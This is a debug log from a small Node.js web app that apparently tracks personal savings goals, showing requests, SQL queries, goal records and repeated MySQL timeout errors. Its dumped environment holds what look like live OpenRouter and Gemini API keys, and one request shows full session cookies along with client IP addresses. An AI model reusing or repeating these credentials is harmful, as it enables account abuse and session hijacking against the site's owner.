    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-04T17:31:21.757Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"3f7a-8evdTmhK5BWMrlr1EAyEpXj7HJk"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AYBcIJzk1eHUc8foGeu01EA%3D%3D.QYO%2FWfci0AG34bA0VM5gtuDYaDWOsSMpNTom2wMaS6X%2FxEim8AD3ZmsU%2Bx67usz6kDEl7FL4kfkz4hlqe6UpCmrijYKnbjd9ZFdZQ4kS5g3WYa4cZUMo3QJ6r0Toio72IRTFD%2FTC2rxHuHa7yk0Z15wzv2tYjwqeG9cpszIIr4Q%3D.yLK%2BrUpEZ98kFyRtaS6iNK4G1qO1fxNIJjtdapzV2lo; your_r_git.sid=s%3ALFsmm_nfvv8EaoUuBcEst9NKft1ijmdX.4D8kuJLJFrS4E8QM8R3AJ7UptFQuxPg%2BKQl2H8gfd5s',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-03T17:32:25.460Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-03T17:32:25.461Z server-connect:router Serving serverConnect /api/goals/list
2026-03-03T17:32:25.461Z server-connect:app Executing action step identify
2026-03-03T17:32:25.461Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:25.461Z server-connect:output identity: 1
2026-03-03T17:32:25.461Z server-connect:app Executing action step restrict
2026-03-03T17:32:25.461Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:32:25.462Z server-connect:app Executing action step identify
2026-03-03T17:32:25.462Z server-connect:app options: { provider: 'security' }
2026-03-03T17:32:25.462Z server-connect:output identity: 1
2026-03-03T17:32:25.462Z server-connect:app Executing action step restrict
2026-03-03T17:32:25.462Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-03T17:32:25.462Z server-connect:output restrict: undefined
2026-03-03T17:32:25.462Z server-connect:app Executing action step paged
2026-03-03T17:32:25.462Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-03T17:32:25.463Z server-connect:output restrict: undefined
2026-03-03T17:32:25.463Z server-connect:app Executing action step custom
2026-03-03T17:32:25.464Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-03T17:32:25.467Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '95000',
    last_transaction_date: 2026-02-26T18:30:49.000Z,
    percentage_achieved: '47.50',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  }
]
2026-03-03T17:32:25.468Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-03 20:22:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-03 20:22:35' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 00:39:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 00:39:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 03:33:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 03:33:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 04:46:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 04:46:37' as DATETIME)"
}
2026-03-04T06:07:11.105Z server-connect:router Serving templateView /
2026-03-04T06:07:11.107Z server-connect:app Executing action step identify
2026-03-04T06:07:11.107Z server-connect:app options: { provider: 'security' }
2026-03-04T06:07:11.107Z server-connect:auth No login cookie found
2026-03-04T06:07:11.107Z server-connect:output identity: false
2026-03-04T06:07:11.107Z server-connect:app Executing action step restrict
2026-03-04T06:07:11.107Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-04T06:07:11.108Z server-connect:output restrict: undefined
2026-03-04T06:07:11.765Z server-connect:router Serving templateView /login
2026-03-04T06:07:11.766Z server-connect:app Executing action step identify
2026-03-04T06:07:11.766Z server-connect:app options: { provider: 'security' }
2026-03-04T06:07:11.766Z server-connect:auth No login cookie found
2026-03-04T06:07:11.766Z server-connect:output identity: false
2026-03-04T06:07:11.766Z server-connect:router Render template layouts/authentication
2026-03-04T06:07:11.767Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.158',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-05T06:07:11.765Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.158',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.158',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 06:11:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 06:11:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 06:38:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 06:38:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 08:55:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 08:55:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 12:06:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 12:06:38' as DATETIME)"
}
2026-03-04T13:03:15.021Z server-connect:router Serving templateView /
2026-03-04T13:03:15.022Z server-connect:app Executing action step identify
2026-03-04T13:03:15.023Z server-connect:app options: { provider: 'security' }
2026-03-04T13:03:15.023Z server-connect:auth No login cookie found
2026-03-04T13:03:15.023Z server-connect:output identity: false
2026-03-04T13:03:15.023Z server-connect:app Executing action step restrict
2026-03-04T13:03:15.023Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-04T13:03:15.024Z server-connect:output restrict: undefined
2026-03-04T13:03:15.168Z server-connect:router Serving templateView /login
2026-03-04T13:03:15.168Z server-connect:app Executing action step identify
2026-03-04T13:03:15.168Z server-connect:app options: { provider: 'security' }
2026-03-04T13:03:15.168Z server-connect:auth No login cookie found
2026-03-04T13:03:15.168Z server-connect:output identity: false
2026-03-04T13:03:15.168Z server-connect:router Render template layouts/authentication
2026-03-04T13:03:15.169Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '104.197.14.123',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-05T13:03:15.167Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.197.14.123',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '104.197.14.123',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 14:24:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-04 14:24:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-04 15:50:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
